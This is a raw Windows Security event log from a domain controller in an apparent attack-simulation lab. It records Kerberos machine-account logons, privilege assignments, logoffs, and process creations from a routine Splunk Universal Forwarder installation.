Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF5076
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64364

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249981
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF5076

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249980
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF5010

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249979
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF5010
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64363

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249978
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF5010

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249977
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF4FAF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249976
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF4FAF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64362

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249975
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF4FAF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249974
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFF30

Process Information:
	New Process ID:		0xd7c
	New Process Name:	C:\Windows\System32\msiexec.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x5e4
	Creator Process Name:	C:\Windows\System32\msiexec.exe
	Process Command Line:	C:\Windows\System32\MsiExec.exe -Embedding 33BA6470871F48AC16E6E2A2EF0FA8B7

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249998
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF5AEF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249997
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF5AEF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64369

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249996
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF5AEF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249995
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF5A8E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249994
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF5A8E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64368

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249993
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF5A8E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249992
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF5A28

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249991
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF5A28
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64367

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249990
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF5A28

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249989
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF59C7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249988
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF59C7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64366

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249987
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF59C7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250017
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x105c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1038
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"  _internal pre-flight-checks --answer-yes --no-prompt 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250016
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1040
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1038
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250015
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1038
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x2ec
	Creator Process Name:	C:\Windows\System32\msiexec.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt >> "C:\Users\ADMINI~1\AppData\Local\Temp\splunk.log" 2>&1"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250014
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1024
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xaa4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"  _internal first-time-run --answer-yes --no-prompt 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250013
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1008
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xaa4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

